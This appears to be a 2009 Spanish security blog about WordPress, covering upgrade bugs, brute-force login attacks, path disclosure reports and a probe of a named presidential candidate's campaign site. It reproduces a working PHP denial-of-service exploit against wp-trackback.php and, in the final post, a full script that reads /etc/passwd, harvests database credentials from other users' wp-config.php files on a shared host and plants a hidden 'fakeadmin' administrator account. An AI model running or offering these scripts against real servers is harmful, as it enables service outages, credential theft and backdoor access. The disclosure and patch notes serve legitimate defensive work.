El rincón de Zerial » wordpress

Error de actualización desde WordPress 2.8 a 2.9

Zerial — Sat, 19 Dec 2009 20:51:13 +0000

Hace un rato que actualicé la versión de wordpress de mi blog junto a otros wordpress que administro, pero sólo mi versión tuvo un problema. Me mostraba todas las páginas en blanco. Al parecer no soy el único que tuvo ese problema, ya que puedo ver en distintos sitios a mucha gente que le ocurre lo mismo:

http://es.wordpress.org/2009/12/19/error-de-pagina-en-blanco-tras-actualizar
http://ayudawordpress.com/wordpress-2-9-espanol-ya-disponible/

Algunos hablan de hacer un downgrade y otros hablan de volver a instalar wordpress. Pues yo me di el trabajo de depurar el problema y determinar que archivo era el que estaba generando conflictos.
Al actualizar a wordpress 2.9, al parecerno se está actualizando correctamente el fichero wp-includes/functions.php.

¿Qué hice para solucionarlo?
Simplemente me descargué la nueva versión de WordPress (en español o en inglés) y copié el fichero hacia mi instalación.

Actualización: Se ha publicado una version 2.9.1 Beta 1 donde corrigen, entre otras cosas, éste error.

Ataque de fuerza bruta a WordPress

Zerial — Mon, 07 Dec 2009 12:29:07 +0000

Los ataques por fuerza bruta a instalaciones WordPress son un tanto faciles, ya que es muy sencillo determinar los usuarios del sistema y no tiene sistemas de protección de Throttling Login Attempts o límite de intentos de ingreso, lo cual nos permite hacer éste tipo de ataques.
Determinar los nombres de usuarios es tan sencillo como escribir algún supuesto usuario y llenar el campo de contraseña con cualquier información, cuando presionemos “Iniciar Sesion” el sistema nos dirá “Usuario incorrecto” si es que el usuario no existe o bien “Password incorrecta“, en el caso que el usuario si exista y el password sea invlálido. Con un ataque distribuido es posible obtener el password de un usuario en particular muy sencillamente, sólo es cosa de tiempo.
Si pensamos hacerlo de forma remota puede que nos tardemos un poco más, pero pensemos desde el mismo lado del servidor, imaginemosnos que tenemos una cuenta en el hosting donde está hospedado el CMS, será todo mucho más fácil y más rápido.

Hace un tiempo, yo publiqué un script en php bastante sencillo que nos permitía hacer ésto en simples pasos leyendo palabras desde un diccionario, lo interesante de éste script es que no sólo funciona con wordpress, sino con cualquier weblogin “simple” e inseguro. Luego encontré un artículo relacionado muy interesante, que hablaba sobre estos tipos de ataques y analizaban un script que encontraron en un servidor, el cual era mucho mas sofisticado y trabajado que el mio, permitia hacer ataques distribuidos desde distintas máquinas y de esta forma aumentar si desempeño más de un 1000% (sí, mil por ciento).

Su funcionamiento (copy&paste):

La funcion wp_brute_attempt() toma 3 parámetros, $ch que es la estuctura cURL (cURL es una herramienta de línea de comando que se puede usar para realizar peticiones HTTP ). Los otros dos parámetros definen el sitio y la contraseña que se intentará. Si el script consigue validarse exitosamente, la página que es devuelta por el servidor contendrá la frase “Log Out”, y la función devolverá el valor verdadero.

Ahora, lo interesante del script es que permite el cracking distribuido. La información es guardada en una base de datos MySQL y el script realmente se conecta en forma directa a la base de datos principal. Esto permite al atacante correr varios scripts simultáneos – cada uno de ellos tomará 200 URL nuevas y las marcará con el ID del script forzador ($colo)

Encuentro súper interesante lo que se hizo y de la forma en que fue pensado, la próxima véz que se me ocurra hacer algo así, lo hare distribuido usando una base de datos accesible remotamente para aumentar el rendimiento y desempeño del script. Si lo llego a hacer, publicaré una prueba de concepto con los resultados.

Fuente en español: Segu-Info

Sitios web de candidatos presidenciales al descubierto: MEO

Zerial — Sun, 06 Dec 2009 18:50:32 +0000

Como ya anuncié hace un rato, empezaré con el sitio http://marco2010.cl.

Cuando comencé a escribir sobre éste sitio web, existía una vulnerabilidad de descubrimiento del path (Full Path Disclosure) junto a un SQL Injection y un XSS, dentro de un “plugin” hecho para las votaciones lo que luego fue corregido, no logré sacar screenshot y ejemplos para demostrarlo. Que hayan corregido éstos errores es un punto a favor para la seguridad del sitio. Vamos a ver hasta qué punto podemos poner a prueba la seguridad.

Es un sitio hecho en WordPress, por lo cual ya sabemos las rutas de los archivos y las posibles vulnerabilidades que podría tener el sitio. Por ejemplo, podemos empezar probando con el clásico wp-login que es el script que nos permite iniciar la sesión, descubrir una lista de usuarios, hacer fuerza bruta, etc. Nos vamos a la URL

http://www.marco2010.cl/wp-login.php

Y como podemos ver, ya nos aparece el formulario para iniciar la sesión. Para éstos casos, existe un truco y es probar siempre con el usuario admin, para ver si lo tienen habilitado, ya que es el único usuario que viene por defecto.

Como podemos ver en el recuadro de “error“, nos dice que la contraseña es inválida, por ende, asumimos que el usuario está correcto. Ya sabemos que existe el usuario admin, ahora solo falta romper la password. Mientras dejamos un script de fuerza bruta corriendo, tambien podemos intentar averiguar más usuarios dentro del sistema, hasta llegar con alguno que tenga una password más fácil de romper con el cual podamos ganar acceso al dashboard del sitio.

Hay que tener en cuenta que ultimamente se han estado realizado muchos ataques por fuerza bruta a distintas instalaciones de wordpress. Pueden leer más sobre esto en el artículo titulado:

Distributed WordPress admin account cracking

Si bien la mayoría de los sitios en wordpress (incluyendo el mio) tienen este tipo de “fallo”, considero que es agujero de seguridad y que debería implementarse por último un htaccess.

Otra cosa que me llamó la atención es que los desarrolladores del theme marcoenriquezominami han desarrollado instalado un sistema de votacion o encuestas el cual lo han dejado dentro del directorio del theme. Toda la gente que ha desarrollado alguna véz en WordPress, sabrá que para éste tipo de cosas, debería crearse un plugin. El sistema que estos tipos descargaron e instalaron es el Advanced Poll 2.08, si buscamos en google podemos ver que las versiones anteriores tienen diversas vulnerabilidades y que para descubrir alguna, basta con que descarguemos el codigo y sepamos como explotar algun fallo no reportado.
La URL para manejar las encuestas es:

http://encuestas.marco2010.cl/admin/

Si bien lo que les mostraré a continuación no es un “fallo de seguridad”, si nos va a permitir ver cosas que quizá ellos no quieren que veamos, como la lista de archivos subidos, etc. Directory Listing:

Tambien tiene un wiki disponible en http://wiki.marco2010.cl.

Como conclusión, lo único que les puedo decir es que la seguridad del sitio va a depender de la seguridad de WordPress, Advanced Poll y de Wikimedia.
Si bien el sitio es “seguro”, será lo suficientemente vulnerable a medida que se vayan publicando bugs de las herramientas que nombré anteriormente.
Por ejemplo, cuando se publicó el DoS que afectaba al wp-trackback, éste sitio era completamente vulnerable. Yo mismo lo probé antes de que lo actualizaran.

Actualizado (10-12-2009) La persona encargada se contactó conmigo y acogieron mis recomendaciones.

FPD en WordPress no es considerado un error

Zerial — Sat, 14 Nov 2009 15:42:15 +0000

Como recordarán, hace unos días publiqué dos artículos sobre una vulnerabilidad Full Path Disclosure en WordPress, que afectaba a los plugins y a los archivos propios del CMS. Luego de unas semanas de haberlo reportado recibí una respuesta:

We consider path disclosures a server configuration error. WordPress
files don’t protect against disclosing paths when directly loaded.

En otras palabras, no es considerado un error o una vulnerabilidad ya que corresponde a un problema de configuración del servidor.
Pueden leer un hilo donde se discute sobre el tema.

[Proof-of-Concept] DoS gracias al script wp-trackbacks de wordpress

Zerial — Sun, 18 Oct 2009 22:48:54 +0000

Un par de horas atrás, publiqué un artículo luego de haber leído una publicación de jcarlosn. Me di el tiempo de realizar una prueba de concepto (PoC) usando el exploit que él mismo propone. Si bien el código que él publicó tiene algunos problemas, luego de hacerle un par de modificaciones logré ejecutarlo y analizar su comportamiento y ver cómo sufre el servidor objetivo.

Duración de la prueba de concepto: 2 minutos
Sitio o servidor objetivo: blog.zerial.org
Tipo de exploit: remoto
Vulnerabilidad: Resource Exhaustion (DoS)
Descripción: El servidor comienza a consumir recursos hasta agotarlos, provocando la denegación del servicio.

Ejecuté el exploit en tres consolas distintas de forma simultanea, y al pasar 10 o 15 segundos ya se comenzó a notar el consumo de recursos en el servidor.

La carga promedio ya va en 2.83 y el consumo del/los CPU llegando al 100%, un par de segundos más y …

La carga promedio ya va en 3.75 y los procesadores están a su 100%, si se fijan en la memoria está consumiendo 408MB de 540, es decir, el servidor ya se está quedando sin recursos. Siguen pasando los segundos …

458Mb de ram y 4.25 de carga.

Los logs de apache me muestran las distintas peticiones simultaneas que hace el exploit:

Esta prueba de concepto la realicé con 3 peticiones simultaneas y durante 2 míseros minutos, si aumentamos las instancias del exploit y alargamos un poco mas el periodo de prueba, fácilmente podremos lograr la denegación de servicio en el servidor.

Más Full Path Disclosure en WordPress y sin solución

Zerial — Sun, 18 Oct 2009 18:53:39 +0000

Hace unos días publiqué un artículo sobre varios plugins que nos permitian ver el directorio completo de la instalación de wordpress (full path disclosure). Luego de esta publicación de una discusión en un hilo de la lista en full disclosure, me llegó un correo donde me comentaban que no sólo eran esos ficheros los que tenian esta vulnerabilidad, sino muchos más dentro de todo el sistema de wordpress.
En la lista full disclosure y por otros medios, la gente me decia que eso se desactivaba facilmente deshabilitando la opcion “display errors” de php (ya sea en el php.ini, htaccess o en el mismo fichero php) pero mi opinión fue siempre la misma: Esta forma de ‘solucionarlo’ ocultaría el error pero en ningún caso lo solucionaría, es decir, el problema continuaría estando, pero oculto. Otras personas dieron otro tipo de solución como la de editar los ficheros e incluir una validación de la existencia de algunas constantes o variables que WordPress setea y, de esta forma, saber si el fichero se está ejecutando directamente o mediante wordpress.

Este problema lo reporté a security en wordpress.com el mismo día que hice la publicación pero no obtuve respuesta.

Ahora les mostraré los otros ficheros por los cuales es posible descubrir la ruta completa del sistema y las posibles soluciones que me han palnteado.

Dentro del directorio wp-admin/import tenemos varios ficheros php:

blogger.php
blogware.php
btt.php
dotclear.php
greymatter.php
jkw.php
livejournal.php
mt.php
opml.php
rss.php
stp.php
textpattern.php
utw.php
wordpress.php
wp-cat2tag.php

Todos vulnerables.
Dentro de wp-admin/includes tenemos los siguientes ficheros vulnerables:

admin.php
class-ftp-pure.php
class-ftp-sockets.php
class-wp-filesystem-direct.php
class-wp-filesystem-ftpext.php
class-wp-filesystem-ftpsockets.php
class-wp-filesystem-ssh2.php
comment.php
continents-cities.php
file.php
media.php
misc.php
plugin-install.php
plugin.php
schema.php
template.php
theme-install.php
update.php
upgrade.php
user.php

La solución que plantea esta persona es la siguiente:

if ( defined(‘WP_ADMIN’) or defined(‘WP_USE_THEMES’) ){
;//coninue
}
else{
die();
}

o bien

if ( defined(‘ABSPATH’)){
die();

Esta persona me comentó que haría una publicación en su sitio web al respecto, pero no la encuentro. Les dejo el enlace a su blog por si las moscas: http://rollanwar.net

Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress

Zerial — Sun, 18 Oct 2009 13:50:59 +0000

jcarlosn ha descubierto una vulnerabilidad en el fichero wp-trackbacks.php de wordpress, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies.
Como él mismo nos cuenta:

Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.

El problema fue reportado a la seguridad en wordpress.com y no se obtuvo respuesta, luego se intentó comunicar con el creador de wordpress y al pasar un par de días, obtuvo una respuesta de que lo solucionarán en algún momento pero no de la forma que él proponia, sino que ellos mismos buscarán cómo hacerlo.
La misma persona que hizo público este bug, publicó un exploit y una posible solución.

El exploit:

< ?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2) {
echo “The url should have http:// in front of it, and should be complete.\n”;
exit;
}
if(count($data) == 2) {
$path = ”;
} else {
$path = $data[‘path’];
}
$path = trim($path,’/‘);
$path .= ‘/wp-trackback.php’;
if($path{0} != ‘/’) {
$path = ‘/’.$path;
}
$b = “”;
$b = str_pad($b,140000,’ABCEDFG’);
$b = utf8_encode($b);
$charset = “”;
$charset = str_pad($charset,140000,”UTF-8,”);
$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com’;
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol’;
$str .= ‘&excerpt=lol’;
$count = 0;
while(1) {
$fp = @fsockopen($data['host'],80);
if(!$fp) {
if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}
fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);
echo “hit!\n”;
$count++;
}
?>

La solución:

Cambiar

$charset = $_POST[‘charset’];

Por

$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }

Vulnerabilidad en la mayoría de los plugins para WordPress

Zerial — Mon, 28 Sep 2009 12:34:23 +0000

Hace un par de días, mientras hacia unas pruebas y revisaba unos sistemas descubrí una vulnerabilidad que afectaba a unos cuantos plugins de WordPress instalados.
Continuando mi investigación llegúe a la conclusión de que se trata de una vulnerabilidad Full Path Disclosure (FPD) que afecta a la mayoría de los plugins de WordPress, incluyendo al “Hello Dolly” y Akismet (plugins por defecto). Para explotar esta vulnerabilidad, no es necesario que el plugin esté activo, simplemente que esté instalado. Esta vulnerabilidad es debido a un problema o error a la hora de programar los plugins, al no validar la existencia de funciones antes de ejecutarlas el sistema devuelve un error fatal, mostrandonos la ruta completa de la instalación del CMS. Por ejemplo, en Akismet:

Fatal error: Call to undefined function add_action() in /home/XXYYZZ/public_html/wp-content/plugins/akismet/akismet.php on line 26

Hablando un poco sobre la vulnerabildiad FPD y recordando lo que dije en el post pasado, explotar esta vulnerabilidad no significa que podamos hacer grandes cosas, simplemente nos entregará información que podría ser utilizada para lo que uno estime conveniente.

Analizando más profundamente el código y el error, podemos encontrar (siguiendo con Akismet) las siguientes líneas:

< ?php
function akismet_init() {
global $wpcom_api_key, $akismet_api_host, $akismet_api_port;
if ( $wpcom_api_key )
$akismet_api_host = $wpcom_api_key . ‘.rest.akismet.com’;
else
$akismet_api_host = get_option(‘wordpress_api_key’) . ‘.rest.akismet.com’;
$akismet_api_port = 80;
add_action(‘admin_menu’, ‘akismet_config_page’);
add_action(‘admin_menu’, ‘akismet_stats_page’);
akismet_admin_warnings();
}
add_action(‘init’, ‘akismet_init’);
function akismet_admin_init() {
if ( function_exists( ‘get_plugin_page_hook’ ) )
$hook = get_plugin_page_hook( ‘akismet-stats-display’, ‘index.php’ );
else
$hook = ‘dashboard_page_akismet-stats-display’;
add_action(‘admin_head-’.$hook, ‘akismet_stats_script’);
}
add_action(‘admin_init’, ‘akismet_admin_init’);
?>

Sólo en esas líneas se hace unas cuantas veces la llamada a la función “add_action()” que no es validada antes de ser ejecutada, sin embargo, otras funciones si lo están (por ej. mirar línea 18). Lo mismo sucede en hello.php y en muchos otros plugins muy usados.

Para detectar esta vulnerabilidad los plugins que tenemos instalados podemos ejecutar el siguiente comando dentro del directorio wp-content/plugins:

find . -name "*.php" -exec grep -H add_action {} \;

Y obtendremos un resultado como el siguiente:

./wp-gravatar/gravatars.php:add_action(‘admin_menu’, ‘gravatar_admin_menu’);
./wp-gravatar/gravatars.php:add_action(‘plugins_loaded’, ‘widget_authdescription_init’);
./wp-gravatar/gravatars.php:add_action(‘plugins_loaded’, ‘widget_recent_comments_gravatars_register’, 1);
./smart-youtube/smartyoutube.php:add_action(‘admin_menu’, ‘yte_add_pages’);
./smart-youtube/smartyoutube.php:add_action( ‘plugins_loaded’, ‘yte_install’ );
./smart-youtube/smartyoutube.php:add_action( ‘after_plugin_row’, ‘yte_check_plugin_version’ );
./chili-code-highlighter/chili-code-highlighter.php:add_action( ‘plugins_loaded’, create_function( ”, ‘global $ChiliCodeHighlighter; $ChiliCodeHighlighter = new ChiliCodeHighlighter();’ ) );
./wp-db-backup/wp-db-backup.php:add_action(‘plugins_loaded’, ‘wpdbBackup_init’);
./subscribe2/counterwidget.php:add_action(‘plugins_loaded’, ‘widget_s2counter_init’);
./add-to-any/add-to-any.php:add_action(‘init’, ‘A2A_SHARE_SAVE_textdomain’);
./add-to-any/add-to-any.php:add_action(‘the_content’, ‘A2A_SHARE_SAVE_to_bottom_of_content’, 98);
./add-to-any/add-to-any.php:add_action(‘wp_head’, ‘A2A_SHARE_SAVE_button_css’);
./add-to-any/add-to-any.php:add_action(‘admin_head’, ‘A2A_SHARE_SAVE_admin_head’);
./add-to-any/add-to-any.php:add_action(‘admin_menu’, ‘A2A_SHARE_SAVE_add_menu_link’);
./creative-commons-license-widget/ccLicense.php:add_action(‘widgets_init’, ‘widget_ccLicense_init’);
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(‘init’, ‘init_textdomain’);
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(‘admin_menu’, ‘wp_add_related_posts_options_page’);
./twitter-updater-using-tinyurl/twitter_updater.php:add_action ( ‘save_post’, ‘vc_twit’);
./twitter-updater-using-tinyurl/twitter_updater.php:add_action(‘admin_menu’, ‘vc_addTwitterAdminPages’);
./simplepie-core/simplepie_core.php:add_action(‘admin_menu’, ‘simplepie_core_options’);
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘edit_post’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘publish_post’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘save_post’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘edit_page_form’, array($aiosp, ‘post_meta_tags’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘init’, array($aiosp, ‘init’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘wp_head’, array($aiosp, ‘wp_head’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘template_redirect’, array($aiosp, ‘template_redirect’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘admin_menu’, array($aiosp, ‘admin_menu’));
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(‘admin_menu’, ‘aiosp_meta_box_add’);
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action( ‘admin_notices’, ‘aioseop_activation_notice’);
./google-analyticator/google-analyticator.php:add_action(‘admin_init’, ‘ga_admin_init’);
./google-analyticator/google-analyticator.php:add_action(‘admin_menu’, ‘add_ga_option_page’);
./google-analyticator/google-analyticator.php:add_action(‘init’, ‘ga_outgoing_links’);
./google-analyticator/google-analyticator.php:add_action(‘plugin_action_links_’ . plugin_basename(__FILE__), ‘ga_filter_plugin_actions’);
./google-analyticator/google-analyticator.php:add_action(‘wp_ajax_ga_ajax_accounts’, ‘ga_ajax_accounts’);
./google-analyticator/google-analytics-stats-widget.php:add_action(‘widgets_init’, ‘GoogleStatsWidget_init’);
./akismet/akismet.php:add_action(‘init’, ‘akismet_init’);
./akismet/akismet.php:add_action(‘admin_init’, ‘akismet_admin_init’);
./akismet/akismet.php:add_action(‘wp_set_comment_status’, ‘akismet_submit_spam_comment’);
./akismet/akismet.php:add_action(‘edit_comment’, ‘akismet_submit_spam_comment’);
./akismet/akismet.php:add_action(‘preprocess_comment’, ‘akismet_auto_check_comment’, 1);
./akismet/akismet.php:add_action(‘admin_menu’, ‘akismet_manage_page’);
./akismet/akismet.php:add_action(‘activity_box_end’, ‘akismet_stats’);
./akismet/akismet.php:add_action(‘rightnow_end’, ‘akismet_rightnow’);
./akismet/akismet.php:add_action(‘manage_comments_nav’, ‘akismet_check_for_spam_button’);
./akismet/akismet.php:add_action(‘admin_action_akismet_recheck_queue’, ‘akismet_recheck_queue’);
./akismet/akismet.php:add_action(‘init’, ‘widget_akismet_register’);
./source-code-syntax-highlighting-plugin-for-wordpress/deans_code_highlighter.php:add_action(‘admin_menu’, ‘dl_reg_admin’);
./flickr-widget/flickr_widget.php:add_action( “init”, “flickr_widgets_init” );

La lista de plugins afectados es muy grande, sólo en este caso (mi wordpress) tenemos 15:

wp-gravatar
smart-youtube
chili-code-highlighter
wp-db-backup
subscribe2
add-to-any
creative-commons-license-widget
wordpress-23-related-posts-plugin
twitter-updater-using-tinyurl
simplepie-core
all-in-one-seo-pack
google-analyticator
akismet
source-code-syntax-highlighting-plugin-for-wordpress
flickr-widget

Para corregirlo simplemente debemos agregar, a cada llamada de la función, la siguiente validación:

if(function_exists(‘add_action’)) {
[…]
}

Quizás a mucha gente no le interese este tema y piense que este tipo de vulnerabilidad no sirve y no les importa que sepan en que directorio está instalado el wordpress, aún así, pienso que es necesario que esto se corrija. No va a depender de los usuarios solucionar esto, sino de los desarrolladores.
Esta vulnerabilidad puede ser aprovechada no sólo para entrar a un sistema wordpress, puede ser combinada con otras vulnerabildiades como LFI o Directory Transversal y comprometer a las otras cuentas que estan en el servidor. Con esta información podemos obtener típicamente el nombre de usuario de la cuenta (luego ingresar por la IP agregando colita de chancho [~] y luego el username) y el directorio de ese usuario, que luego pueden ser usados para distintos fines.
Las personas que alguna véz hayan explotado este tipo de vulnerabilidad sabrán lo útil que puede llegar a ser al momento de querer penetrar un sistema.

Si lo miramos desde otro punto de vista, podríamos llegar a escalar el problema y decir que gran parte de la responsabilidad la tiene WordPress, todos los plugins deberían pasar por un test de calidad donde se verifiquen este tipo de cosas. La forma de operar que tienen los plugins de WordPress deberían ser, al menos, en un entorno WP. ¿Me explico? Debería existir una forma de determar que el fichero php se está ejecutando bajo el entorno wordpress y no por si solo (por ejemplo al llamar a hello.php), ya sea con un método, constante, variable, etc, algo tan simple como un if:

if(WORDPRESS_ENVIRONMENT == 1)

Otra forma de solucionarlo, sería deshabilitando los mensajes de advertencia y errores por lado del servidor, pero insisto, creo que la solución no es por parte de los usuarios, sino de los desarrolladores.

Drupal como Content Management Framework

Zerial — Sun, 27 Sep 2009 19:41:17 +0000

Están muy de moda los CMS (Content Management System) tales como WordPress, Joomla y Jaws, entre otros, por la facilidad y extensibilidad que tienen mediante módulos, plugins, widgets, themes, templates, etc. Desde hace 8 meses mas o menos que estoy en un proyecto que involucra la creación de un sistema para una comunidad de cientificos, usando Drupal.

¿Por qué Drupal?

Drupal pretende ser mucho más que un gestor de contenidos, lo que busca ser es un gestor de comunidades, un framework para gestionar comunidades, lo que yo llamo CMF. Es extensible, permite la reutilización de código, utilización de templates/themes propios y muchas otras cosas.

¿Por qué NO WordPress, Joomla u otro CMS?

Un CMS, com su nombre lo dice, es un sistema gestor de contenidos, están más orientados a blogs o sitios que no implican una cantidad grande de usuarios y contenido y tipos de contenidos. Lo que yo necesitaba, era un framework para gestionar una comunidad.

¿Se entiende?

El sitio en el que estoy trabajando tiene más de mil usuarios y tiene una cantidad enorme de contenido que se va generando día a día, para esto es necesario algo que me permita gestionarlo y que tenga gran parte del código desarrollado, es decir, que existan plugins o módulos ya hechos y que sólo haga falta modificarlos o adaptarlos a lo que necesitamos. Para Drupal encontramos una serie como por ejemplo el conocido OG:

Organic Groups: Enable users to create and manage their own ‘groups’. Each group can have subscribers, and maintains a group home page where subscribers communicate amongst themselves

Con esto tenemos la posibilidad de que los usuarios creen sus propios grupos, manejen sus suscripciones, creen noticias relacionadas al grupo, privadas o públicas, administración y moderación de grupos, etc.
Tambien es posible crear perfiles personalizados para cada usuario usando el módulo ContentProfile:

Content Profile: is module builds user profiles as content (aka nodes), which opens the opportunity to use all the powerful modules for content for user profiles too, e.g. the Content Construction Kit (CCK).

La creación de módulos propios es bien sencilla, sólo hay que entender cómo trabaja los templates, páginas, nodos, etc. La tarea de creación de módulos se facilita bastante gracias a los hooks, con esto es posible modificar comportamientos de otros módulos (contrib y propios del sistema) y lograr tener un control casi completo del sistema. La idea es, por ningun motivo, tocar el core de Drupal, de lo contrario será muy difícil la mantención del sistema (actualizaciones, etc).
Drupal tambien nos provee de una API, muy completa, la cual podemos trabajar usando las funcionalidades y bondades de Drupal sin tener que usar Drupal -valga la redundancia-. Por ejemplo, hace unos meses tuve que usar sólo el módulo “forum” de Drupal para integrarlo con un sitio que ya estaba desarrollado, ajeno a Drupal. Tambien es muy útil cuando se necesita hacer migración de usuarios y/o contenido de una plataforma a otra. Para usar la API sólo necesitamos descargar el código fuente y tener las siguientes líneas:

include_once ‘api/includes/bootstrap.inc’;
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);

(siendo el directorio api dónde tenemos el código fuente de Drupal)

Y listo, ya podemos usar todas las funciones o métodos, variables, constantes, etc.

La versión estable actual de Drupal es la 6, se está trabajando en la 7 que será orientada a objetos. El problema de esto, es que cada vez que se lanza una version nueva (4→5, 5→6, 6→7), los desarrolladores deben volver a programar sus módulos, ya que Drupal no tiene compatibilidad retroactiva.

Links:

Drupal Modules: Repositorio muy completo con distintos módulos para distintas versiones de Drupal .
Documentación de la API

Lectura recomendada:

WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor

Zerial — Mon, 10 Aug 2009 03:04:08 +0000

WP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario www-data sobre el fichero wp-config.php.

Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data).

Código

< ?php
$paths = array(
"blog",
"site",
"html",
"www",
"html/blog",
"www/blog",
"site/blog",
"wordpress",
"wp",
"www/wp",
"www/wordpress",
"html/wordpress",
"html/wp",
"public_html",
"public_html/blog",
"public_html/wp",
"public_html/wordpress",
);
$files = array(
"wp-config.php",
);
print "Checking for ….\n";
if(!is_readable("/etc/passwd")) die("err0r: can’t read /etc/passwd (safe mode?)");
$_f = @file("/etc/passwd");
foreach($_f as $usr){
$usr = explode(":", $usr);
$uid = $usr[2];
$home = $usr[5];
$usr = $usr[0];
if($uid >= 1000){
print $usr." (uid:".$uid."): ".$home."\n";
foreach($paths as $path){
if(file_exists($home."/".$path)) {
print "\tSearching in ".$home."/".$path."\n";
foreach($files as $file){
if(file_exists($home."/".$path."/".$file)){
print "\t\tFound: ".$file."\n";
$__f = @file($home."/".$path."/".$file);
foreach($__f as $line){
if(stristr($line, "DB_USER")) { preg_match_all(‘/define$\’(.*)$;/’, $line, $output); print "\t\t\t".str_replace("DB_USER’, ","usr=>", $output[1][0])."\n"; }
if(stristr($line, "DB_PASSWORD")) { preg_match_all(‘/define$\’(.*)$;/’, $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD’, ", "pwd=>", $output2[1][0])."\n"; }
if(stristr($line, "DB_NAME")) { preg_match_all(‘/define$\’(.*)$;/’, $line, $output3); print "\t\t\t".str_replace("DB_NAME’, ", "db=>", $output3[1][0])."\n"; }
if(stristr($line, "DB_HOST")) { preg_match_all(‘/define$\’(.*)$;/’, $line, $output4); print "\t\t\t".str_replace("DB_HOST’, ", "host=>", $output4[1][0])."\n"; }
if(stristr($line, "\$table_prefix")) { preg_match_all(‘/\$table_prefix(.*);/’, $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; }
flush();
}
print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
if($_GET[‘attack’] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
if($_GET[‘attack’] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
flush();
}
}
}
flush();
}
flush();
}
}
function getURL($user, $pass, $db, $host, $prefix){
preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
$sql = @mysql_connect($host, $user, $pass);
@mysql_select_db($db);
$_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name=’siteurl’", $sql);
@mysql_close($sql);
return @mysql_result($_q, 0, ‘option_value’);
}
function UserAdmin($action, $user, $pass, $db, $host, $prefix){
preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
$sql = @mysql_connect($host, $user, $pass);
@mysql_select_db($db);
if($action == "create"){
$wp_uid = rand(9990,99999);
@mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", ‘fakeadmin’, md5(‘dummie’), ‘wordpress’, ‘dummie@wordpress.cl’, ‘http://’, NOW(), ”, 0, ‘wordpressdummieadmin’)", $sql);
@mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", ‘wp_capabilities’, ‘a:1:{s:13:\"administrator\";b:1;}’ )", $sql);
}
if($action == "delete"){
mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login=’fakeadmin’)", $sql);
mysql_query("DELETE FROM ".$prefix."users WHERE user_login=’fakeadmin’", $sql);
}
@mysql_close($sql);
return "fakeadmin/dummie";
}
?>

